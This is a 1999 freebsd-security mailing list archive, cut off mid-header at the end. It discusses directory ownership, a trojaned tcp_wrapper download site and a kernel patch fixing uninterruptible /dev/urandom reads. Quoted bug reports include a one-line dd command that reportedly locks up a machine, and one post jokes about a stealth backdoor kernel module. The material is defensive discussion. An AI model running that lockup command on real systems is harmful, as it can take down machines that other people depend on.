From owner-freebsd-security Sun Jan 24 08:14:39 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA18036 for freebsd-security-outgoing; Sun, 24 Jan 1999 08:14:39 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA18031 for ; Sun, 24 Jan 1999 08:14:37 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id LAA06416; Sun, 24 Jan 1999 11:14:19 -0500 (EST) Date: Sun, 24 Jan 1999 11:14:19 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: cjclark@home.com cc: freebsd-security@FreeBSD.ORG Subject: Re: bin Directory Ownership In-Reply-To: <199901231551.KAA05725@cc942873-a.ewndsr1.nj.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 23 Jan 1999, Crist J. Clark wrote: > Robert Watson wrote, > > Access to the bin account is very limited; > > effectively, to acquire a uid bin process capable of modifying the > > binaries, you would first have to have a uid root process that you had > > subverted. > > I realize that, but the argument goes that if someone /did/ access > root, he could give himself long-term access to bin and possibly other > administrative users. Since the actions of these other administrative > users are not as tightly watched as root (e.g. no syslog message when > you su to one), it might be possible to maintain access for a long > time (even if the original way he accessed root had been closed). Come now--if I had root access on machine and really didn't like you, I'd install my spiffy stealth kernel module that hides its presence from modstat etc (actualy, this is still an lkm so might not work on 3.*), accepts commands to run as root via the payload of ICMP ping packages. :) I think this argument might apply to only the weakest of script kiddies; besides which, FreeBSD emails you about changes to the password file each night; if they're stupid enough to leave backdoors in your password file, they're stupid enough to not interfere with the security script. :) If they're not that stupid and you're not using securelevels, the you probably ought to reinstall anyway, as there are many many ways to trojan a machine; assuming you can catch all of them by simple inspection might not be wise. > BTW, I am running a 2.2.*, 2.2.7. I believe that in 3.x many of the files owned by bin are now owned by root. Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 24 16:11:55 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12706 for freebsd-security-outgoing; Sun, 24 Jan 1999 16:11:55 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id QAA12697 for ; Sun, 24 Jan 1999 16:11:53 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 104Zcw-00027b-00; Sun, 24 Jan 1999 17:11:38 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id RAA06600; Sun, 24 Jan 1999 17:09:58 -0700 (MST) Message-Id: <199901250009.RAA06600@harmony.village.org> To: Coranth Gryphon Subject: Re: bin Directory Ownership Cc: cjclark@home.com, freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sat, 23 Jan 1999 11:49:40 PST." <36AA27D4.C65CE38@healer.com> References: <36AA27D4.C65CE38@healer.com> <199901230414.XAA02392@cc942873-a.ewndsr1.nj.home.com> Date: Sun, 24 Jan 1999 17:09:57 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org bin owned files can be more insecure than root owned files. How you ask? nfs is one way. When you have bin owned files, they can be changed remotely by the user bin. However, unless you specifically enable trusting remote root, root owned files cannot be changed like that. Diskless machines would create a possible vulnerability here if one of them was compromised. It has been argued that root owned files are vulnerable when someone breaks root. This is true. However, bin owned files are also vulnerable to change when root is broken. When bin is broken, bin owned files are also vulnerable. Having root owned files in directories owned by another user can be a small weakness. Those files would be vulnerable to being removed or renamed by the user who owns the directory. This would allow that user to substitute their own files in place of the ones owned by root. So it is undesirable to have this slight vulnerablity. That's why -current (3.0 release and newer) has changed the ownership from bin to root. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 02:03:28 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA20671 for freebsd-security-outgoing; Mon, 25 Jan 1999 02:03:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bsd-daemon.net (bsd-daemon.net [209.90.150.171]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA20660 for ; Mon, 25 Jan 1999 02:03:24 -0800 (PST) (envelope-from pjp@bsd-daemon.net) Received: from localhost (pjp@localhost) by bsd-daemon.net (8.9.1/8.9.1) with SMTP id FAA05407 for ; Mon, 25 Jan 1999 05:01:55 -0500 (EST) Date: Mon, 25 Jan 1999 05:01:54 -0500 (EST) From: Peter Philipp To: freebsd-security@FreeBSD.ORG Subject: FreeBSD Ports and ftp.win.tue.nl Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org There is confirmed hearsay the ftp.win.tue.nl ftp site was compromised with backdoors on different packages. Also it seems that the /pub/security archive was removed as stated in the README found at that site. There is 3 ports I found at first glance that use this site which is not a real security hazard if MD5 checksums mismatch but it is possible that someone uses the NO_CHECKSUM and if those packages were compromised (one of which was as stated in a CERT and BUGTRAQ advisory) that this could lead to unforeseen problems. The ports containing the ftp.win.tue.nl site as a master or secondary site are (no later than 2.2.8-REL ports distribution): /usr/ports/print/mp-letter /usr/ports/security/crack /usr/ports/security/tcp_wrapper I think it's fair to warn anyone that caution should be taken with at least the first port mentioned if it hasn't already been removed. I did not check this port either. Wietse Venema's README at ftp.win.tue.nl below: Wietse's archive has moved -----BEGIN PGP SIGNED MESSAGE----- Wietse Venema has moved the primary FTP archive for the TCP Wrapper and other programs to a different location. The primary archive is now located at ftp://ftp.porcupine.org/pub/security/index.html Wietse Venema expresses his gratitude to his former employer, Eindhoven University, for making possible the development and distribution of the TCP Wrapper and other software, and appreciates the support from system administrators of the department of mathematics and computing science. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAwUBNqlT2dyA8qbVMny5AQGUUAP9HpiIMYCibLwG3gAQ1zCPnbVyg6vgY12/ X0crBZLsNbKjIIGwmPxOYgQfTfssUxlQX5dCKmnkh9u8/iFGo8qbTTUbDFxSvnyC JNKzsX/fYz82v5jLvhBsEJQfgVT+yy9pL5QeA9e3gjZJaHAtg/zpReuXJko4Gjey uEyzZ7gz1/g= =8fYw : -----END PGP SIGNATURE----- Peter Philipp (PP2441) Daemonic Networks "In theory, theory is the same as practice, but not in practice" - ??? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 02:33:16 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA24330 for freebsd-security-outgoing; Mon, 25 Jan 1999 02:33:16 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA24321 for ; Mon, 25 Jan 1999 02:33:13 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.2/8.9.1) id CAA03222; Mon, 25 Jan 1999 02:26:43 -0800 (PST) (envelope-from dillon) Date: Mon, 25 Jan 1999 02:26:43 -0800 (PST) From: Matthew Dillon Message-Id: <199901251026.CAA03222@apollo.backplane.com> To: Peter Philipp Cc: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Ports and ftp.win.tue.nl References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :The ports containing the ftp.win.tue.nl site as a master or secondary site :are (no later than 2.2.8-REL ports distribution): : :/usr/ports/print/mp-letter :/usr/ports/security/crack :/usr/ports/security/tcp_wrapper : :I think it's fair to warn anyone that caution should be taken with at :least the first port mentioned if it hasn't already been removed. I did :not check this port either. :Wietse Venema's README at ftp.win.tue.nl below: : :Peter Philipp (PP2441) :Daemonic Networks I read a report of this somewhere... NYTimes, I think. That basically someone had broken into the site and backdoor'd tcp_wrapper. Presumably they found it pretty quickly. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 04:37:51 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA09375 for freebsd-security-outgoing; Mon, 25 Jan 1999 04:37:51 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA09370 for ; Mon, 25 Jan 1999 04:37:50 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id HAA15584; Mon, 25 Jan 1999 07:37:20 -0500 (EST) Date: Mon, 25 Jan 1999 07:37:20 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Warner Losh cc: Coranth Gryphon , cjclark@home.com, freebsd-security@FreeBSD.ORG Subject: Re: bin Directory Ownership In-Reply-To: <199901250009.RAA06600@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 24 Jan 1999, Warner Losh wrote: > bin owned files can be more insecure than root owned files. How you > ask? nfs is one way. When you have bin owned files, they can be > changed remotely by the user bin. However, unless you specifically > enable trusting remote root, root owned files cannot be changed like > that. Diskless machines would create a possible vulnerability here if > one of them was compromised. It is arguable that if you export a file system via NFS non-readonly, then you intend for the files to be modified. There are also a number of files in the binary directories are owned by non-root by virtue of the whole setuid thing (for example, the man command is setuid man, and also frequently run). These may be modified if the file system is NFS-exported writable. Another good suggestion then, for the diskless folks, is that your server shoud probably not export its own /usr, instead an /exports/usr. This is convenient because it allows you to have your file server track a different version of FreeBSD, also, and if you have /var in /usr/var (fairly common) then various pieces of functionality there are also at risk. > It has been argued that root owned files are vulnerable when someone > breaks root. This is true. However, bin owned files are also > vulnerable to change when root is broken. When bin is broken, bin > owned files are also vulnerable. I would hypothesize that many of the supporting 'sandbox' users constitute a security risk, including daemon, operatory, bin, tty, man, and uucp. This is by virtue of both regular system functionality and common usage. As I've posted once or twice, I'm in the process of auditing file ownership under FreeBSD and the setuid-based delegation of uid privileges. I'm doing this by adding POSIX.1e auditing to the FreeBSD kernel, and then analyzing executions and other trust-related events to generate trust graphs for each active uid. I hope to post preliminary results in a few weeks; hopefully they will be useful in tightening FreeBSD (and other UNIXes) security. Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 10:13:37 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA18255 for freebsd-security-outgoing; Mon, 25 Jan 1999 10:13:37 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from eltex.ru (eltex-spiiras.nw.ru [195.19.204.46] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA18250 for ; Mon, 25 Jan 1999 10:13:29 -0800 (PST) (envelope-from ark@eltex.ru) From: ark@eltex.ru Received: from border.eltex.spb.ru (root@border.eltex.ru [195.19.198.2]) by eltex.ru (8.8.8/8.8.8) with SMTP id VAA11606 for ; Mon, 25 Jan 1999 21:13:19 +0300 (MSK) Received: by border.eltex.spb.ru (ssmtp TIS-0.5alpha, 19 Oct 1998); Mon, 25 Jan 1999 21:13:03 +0300 Received: from undisclosed-intranet-sender id xma018843; Mon, 25 Jan 99 21:12:44 +0300 Date: Mon, 25 Jan 1999 21:12:29 +0300 Message-Id: <199901251812.VAA22561@paranoid.eltex.spb.ru> Organization: "Klingon Imperial Intelligence Service" Subject: swIPe? To: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- nuqneH, Did anybody try to run NetBSD's swIpe under FreeBSD? _ _ _ _ _ _ _ {::} {::} {::} CU in Hell _| o |_ | | _|| | / _||_| |_ |_ |_ (##) (##) (##) /Arkan#iD |_ o _||_| _||_| / _| | o |_||_||_| [||] [||] [||] Do i believe in Bible? Hell,man,i've seen one! -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBNqy0CqH/mIJW9LeBAQHjpAP+JKlXgYHSomlinpVceT03R492ilrdyurg DM/0WlZepmi5FVBIXeNwQ/wrCLyXQAn26VqfAt8RNIe9uXY66yoZEQ2eKIoLo8Y+ 14AJyHPLO4LS3aFz6XyEQC+08/t5IyztpH0p4ZNPjn9Ok1htdkWEZYHccQHqVoEN /2x57zDrhss= =Vm8H -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 21:59:52 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA07502 for freebsd-security-outgoing; Mon, 25 Jan 1999 21:59:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA07495 for ; Mon, 25 Jan 1999 21:59:50 -0800 (PST) (envelope-from unicorn@unicorn.xs4all.nl) Received: from unicorn.xs4all.nl (0@unicorn.xs4all.nl [194.109.83.155]) by smtp3.xs4all.nl (8.8.8/8.8.8) with ESMTP id GAA20838; Tue, 26 Jan 1999 06:59:47 +0100 (CET) Received: (from unicorn@localhost) by unicorn.xs4all.nl (8.8.8/8.8.8) id VAA25796; Mon, 25 Jan 1999 21:27:24 +0100 (CET) (envelope-from unicorn) Message-ID: <19990125212724.A25650@unicorn.quux.org> Date: Mon, 25 Jan 1999 21:27:24 +0100 From: The Unicorn To: Matthew Dillon , Peter Philipp Cc: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Ports and ftp.win.tue.nl References: <199901251026.CAA03222@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199901251026.CAA03222@apollo.backplane.com>; from Matthew Dillon on Mon, Jan 25, 1999 at 02:26:43AM -0800 X-GSM: +31 XXX XXX XXX X-Files: The Truth Is Out There! X-RSAkey: http://keys.pgp.com:11371/pks/lookup?op=get&search=0x0A7B84E7 X-DSSkey: http://keys.pgp.com:11371/pks/lookup?op=get&search=0x0BBF4902 X-Copyright-0: Portions of this message may be subject to copyright. X-Copyright-1: (c)1994-1998 Hans "Unicorn" Van de Looy. X-Disclaimer-0: Comments contained do not necessarily represent X-Disclaimer-1: those of my current employer. Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jan 25, 1999 at 02:26:43AM -0800, Matthew Dillon wrote: > > I read a report of this somewhere... NYTimes, I think. That basically > someone had broken into the site and backdoor'd tcp_wrapper. Presumably > they found it pretty quickly. Only makes me wonder what they used to gain access ;-) Did you also receive that information? > -Matt > Matthew Dillon > ---end quoted text--- Ciao, Unicorn. -- ======= _ __,;;;/ TimeWaster ================================================ ,;( )_, )~\| A Truly Wise Man Never Plays PGP: 64 07 5D 4C 3F 81 22 73 ;; // `--; Leapfrog With A Unicorn... 52 9D 87 08 51 AA 35 F0 ==='= ;\ = | ==== Youth is not a time in Life, It is a State of Mind! ======= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 22:55:32 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA15296 for freebsd-security-outgoing; Mon, 25 Jan 1999 22:55:32 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA15286 for ; Mon, 25 Jan 1999 22:55:24 -0800 (PST) (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.9.2/8.9.2) with ESMTP id IAA71845; Tue, 26 Jan 1999 08:55:20 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.9.2/8.9.2) with ESMTP id IAA42865; Tue, 26 Jan 1999 08:55:18 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199901260655.IAA42865@greenpeace.grondar.za> To: Matthew Dillon cc: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Ports and ftp.win.tue.nl In-Reply-To: Your message of " Mon, 25 Jan 1999 02:26:43 PST." <199901251026.CAA03222@apollo.backplane.com> References: <199901251026.CAA03222@apollo.backplane.com> Date: Tue, 26 Jan 1999 08:55:16 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon wrote: > I read a report of this somewhere... NYTimes, I think. That basically > someone had broken into the site and backdoor'd tcp_wrapper. Presumably > they found it pretty quickly. It was all over Bugtraq. "They" found that 52-odd people had downloaded the trojanned version, and were trying to warn them. How many of those passed it on is not known. Thank for the ports-mechanisms' MD5 :-) M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 25 22:57:24 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA15441 for freebsd-security-outgoing; Mon, 25 Jan 1999 22:57:24 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA15431 for ; Mon, 25 Jan 1999 22:57:18 -0800 (PST) (envelope-from mark@grondar.za) Received: from greenpeace.grondar.za (greenpeace.grondar.za [196.7.18.132]) by gratis.grondar.za (8.9.2/8.9.2) with ESMTP id IAA71849; Tue, 26 Jan 1999 08:57:12 +0200 (SAST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by greenpeace.grondar.za (8.9.2/8.9.2) with ESMTP id IAA42883; Tue, 26 Jan 1999 08:57:10 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199901260657.IAA42883@greenpeace.grondar.za> To: Peter Philipp cc: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Ports and ftp.win.tue.nl In-Reply-To: Your message of " Mon, 25 Jan 1999 05:01:54 EST." References: Date: Tue, 26 Jan 1999 08:57:10 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Peter Philipp wrote: > The ports containing the ftp.win.tue.nl site as a master or secondary site > are (no later than 2.2.8-REL ports distribution): > > /usr/ports/print/mp-letter > /usr/ports/security/crack > /usr/ports/security/tcp_wrapper I fixed tcp_wrapper's master site yesterday. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 27 04:35:07 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA09674 for freebsd-security-outgoing; Wed, 27 Jan 1999 04:35:07 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.26.10.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA09657 for ; Wed, 27 Jan 1999 04:35:04 -0800 (PST) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id XAA19607 for security@freebsd.org; Wed, 27 Jan 1999 23:35:01 +1100 Date: Wed, 27 Jan 1999 23:35:01 +1100 From: Bruce Evans Message-Id: <199901271235.XAA19607@godzilla.zeta.org.au> To: security@FreeBSD.ORG Subject: Re: signal handling in urandom can cause lockup Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I finally "finished" my fix for this. The problem has very little to do with signal handling, at least under FreeBSD. It is a general problem with slow devices that can transfer large amounts of data without blocking. E.g., dd if=/dev/urandom of=/dev/null bs=10m count=1 runs at about 1MB per 3.8 seconds on a P5/133, so the read() syscall for 10MB spends about 38 seconds in the kernel without blocking. My fix blocks most i/o hog processes in uiomove() and associated functions if they would be rescheduled if they were running in user mode. Unfortunately, signals can't be handled at this level since it would be surprising if disk i/o could be aborted by a signal. My fix only checks for signals for /dev/urandom. I don't know of any other devices that need it. Bruce diff -c2 src/sys/alpha/include/cpu.h~ src/sys/alpha/include/cpu.h *** src/sys/alpha/include/cpu.h~ Wed Oct 7 21:32:44 1998 --- src/sys/alpha/include/cpu.h Tue Jan 26 00:14:30 1999 *************** *** 76,80 **** * or after the current trap/syscall if in system mode. */ ! #define need_resched() { want_resched = 1; aston(); } /* --- 76,82 ---- * or after the current trap/syscall if in system mode. */ ! #define need_resched() do { want_resched = 1; aston(); } while (0) ! ! #define resched_wanted() want_resched /* diff -c2 src/sys/i386/include/cpu.h~ src/sys/i386/include/cpu.h *** src/sys/i386/include/cpu.h~ Tue Sep 1 15:54:52 1998 --- src/sys/i386/include/cpu.h Tue Jan 26 00:13:47 1999 *************** *** 84,88 **** * or after the current trap/syscall if in system mode. */ ! #define need_resched() { want_resched = 1; aston(); } /* --- 84,90 ---- * or after the current trap/syscall if in system mode. */ ! #define need_resched() do { want_resched = 1; aston(); } while (0) ! ! #define resched_wanted() want_resched /* diff -c2 src/sys/kern/kern_subr.c~ src/sys/kern/kern_subr.c *** src/sys/kern/kern_subr.c~ Mon Jan 11 03:15:05 1999 --- src/sys/kern/kern_subr.c Tue Jan 26 00:41:50 1999 *************** *** 45,48 **** --- 45,49 ---- #include #include + #include #include *************** *** 52,55 **** --- 53,60 ---- #include + #include + + static int uio_yield __P((void)); + int uiomove(cp, n, uio) *************** *** 82,85 **** --- 87,92 ---- case UIO_USERSPACE: case UIO_USERISPACE: + if (resched_wanted()) + uio_yield(); if (uio->uio_rw == UIO_READ) error = copyout(cp, iov->iov_base, cnt); *************** *** 140,143 **** --- 147,152 ---- case UIO_USERSPACE: case UIO_USERISPACE: + if (resched_wanted()) + uio_yield(); if (uio->uio_rw == UIO_READ) { if (vfs_ioopt && ((cnt & PAGE_MASK) == 0) && *************** *** 215,218 **** --- 224,229 ---- cnt &= ~PAGE_MASK; + if (resched_wanted()) + uio_yield(); error = vm_uiomove(&curproc->p_vmspace->vm_map, obj, uio->uio_offset, cnt, *************** *** 389,391 **** --- 400,417 ---- *nentries = hashsize; return (hashtbl); + } + + static int + uio_yield() + { + struct proc *p; + int s; + + p = curproc; + s = splhigh(); + setrunqueue(p); + p->p_stats->p_ru.ru_nivcsw++; + mi_switch(); + splx(s); + return (0); } diff -c2 src/sys/i386/i386/mem.c~ src/sys/i386/i386/mem.c *** src/sys/i386/i386/mem.c~ Mon Nov 9 16:34:49 1998 --- src/sys/i386/i386/mem.c Wed Jan 27 23:04:33 1999 *************** *** 60,63 **** --- 60,64 ---- #include #include + #include #include *************** *** 287,290 **** --- 288,301 ---- c = iov->iov_len; break; + } + if (CURSIG(curproc) != 0) { + /* + * Use tsleep() to get the error code right. + * It should return immediately. + */ + error = tsleep(&random_softc[0], + PZERO | PCATCH, "urand", 1); + if (error != 0 && error != EWOULDBLOCK) + continue; } if (buf == NULL) >From owner-freebsd-bugs@FreeBSD.ORG Thu Dec 31 13:12:07 1998 >Return-Path: >Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) > by godzilla.zeta.org.au (8.8.7/8.8.7) with SMTP id NAA23413 > for ; Thu, 31 Dec 1998 13:12:06 +1100 >Received: (qmail 7350 invoked from network); 31 Dec 1998 02:12:04 -0000 >Received: from hub.freebsd.org (204.216.27.18) > by gidora.zeta.org.au with SMTP; 31 Dec 1998 02:12:04 -0000 >Received: from localhost (daemon@localhost) > by hub.freebsd.org (8.8.8/8.8.8) with SMTP id RAA02579; > Wed, 30 Dec 1998 17:56:31 -0800 (PST) > (envelope-from owner-freebsd-bugs) >Received: by hub.freebsd.org (bulk_mailer v1.6); Wed, 30 Dec 1998 17:56:17 -0800 >Received: (from majordom@localhost) > by hub.freebsd.org (8.8.8/8.8.8) id RAA02486 > for freebsd-bugs-outgoing; Wed, 30 Dec 1998 17:56:17 -0800 (PST) > (envelope-from owner-freebsd-bugs@FreeBSD.ORG) >Received: from ouch.Oof.NET (ouch.Oof.NET [208.212.72.34]) > by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA02481 > for ; Wed, 30 Dec 1998 17:56:13 -0800 (PST) > (envelope-from sdjames@research.poc.net) >Received: from localhost (sdj@localhost) > by ouch.Oof.NET (POC/Oof) with ESMTP id UAA17346; > Wed, 30 Dec 1998 20:55:14 -0500 (EST) >Date: Wed, 30 Dec 1998 20:55:14 -0500 (EST) >From: Steven Ji >To: freebsd-bugs@FreeBSD.ORG >Subject: signal handling in urandom can cause lockup >Message-ID: >MIME-Version: 1.0 >Content-Type: TEXT/PLAIN; charset=US-ASCII >Sender: owner-freebsd-bugs@FreeBSD.ORG >X-Loop: FreeBSD.org >Status: RO > >dd if=/dev/urandom of=/dev/null bs=100000k count=20000 > >I just tried this on -stable (12/2/98), and the machine seemed to >completely lock up. > >Box is a P6@200MHz x 2. > >---------- Forwarded message ---------- >Date: Sun, 27 Dec 1998 20:40:32 +0100 >From: Andrea Arcangeli >To: BUGTRAQ@netspace.org >Subject: [patch] fix for urandom read(2) not interruptible > >After having read phrak54 about Linux /dev/u?random (and this is the reason >I am CCing also to bugtraq ;), I was playing a bit >with the random driver it and I noticed that was difficult to kill `dd >if=/dev/urandom of=/dev/null bs=100000k count=20000' once started ;)). The >machine was eavily loaded and the process was unkillable and I the fastest >thing to restore the system is been a reset... > >It's a bug in random.c that doesn' t check for signal pending inside the >read(2) code, so you have no chance to kill the process via signals until >the read(2) syscall is finished, and it could take a lot of time before >return, if the buffer given to the read syscall is very big... > >Here the fix against 2.1.132: > >Index: linux/drivers/char/random.c >diff -u linux/drivers/char/random.c:1.1.1.1 linux/drivers/char/random.c:1.1.1.1.2.3 >--- linux/drivers/char/random.c:1.1.1.1 Fri Nov 20 00:02:25 1998 >+++ linux/drivers/char/random.c Sun Dec 27 20:19:16 1998 >@@ -232,6 +232,11 @@ > * Eastlake, Steve Crocker, and Jeff Schiller. > */ > >+/* >+ * Added a check for signal pending in the extract_entropy() loop to allow >+ * the read(2) syscall to be interrupted. Copyright (C) 1998 Andrea Arcangeli >+ */ >+ > #include > #include > #include >@@ -1269,7 +1274,14 @@ > buf += i; > add_timer_randomness(r, &extract_timer_state, nbytes); > if (to_user && current->need_resched) >+ { >+ if (signal_pending(current)) >+ { >+ ret = -EINTR; >+ break; >+ } > schedule(); >+ } > } > > /* Wipe data just returned from memory */ > > >And here a fix against 2.0.36: > >--- linux/drivers/char/random.c.orig Sun Dec 27 20:22:53 1998 >+++ linux/drivers/char/random.c Sun Dec 27 20:24:17 1998 >@@ -226,6 +226,11 @@ > * Eastlake, Steve Crocker, and Jeff Schiller. > */ > >+/* >+ * Added a check for signal pending in the extract_entropy() loop to allow >+ * the read(2) syscall to be interrupted. Copyright (C) 1998 Andrea Arcangeli >+ */ >+ > #include /* CONFIG_RST_COOKIES and CONFIG_SYN_COOKIES */ > #include > #include >@@ -1004,7 +1009,14 @@ > buf += i; > add_timer_randomness(r, &extract_timer_state, nbytes); > if (to_user && need_resched) >+ { >+ if (signal_pending(current)) >+ { >+ ret = -EINTR; >+ break; >+ } > schedule(); >+ } > } > > /* Wipe data from memory */ > >Andrea Arcangeli > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-bugs" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 27 07:41:31 1999 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA29256 for freebsd-security-outgoing; Wed, 27 Jan 1999 07:41:31 -0800 (PST) (envelope-from 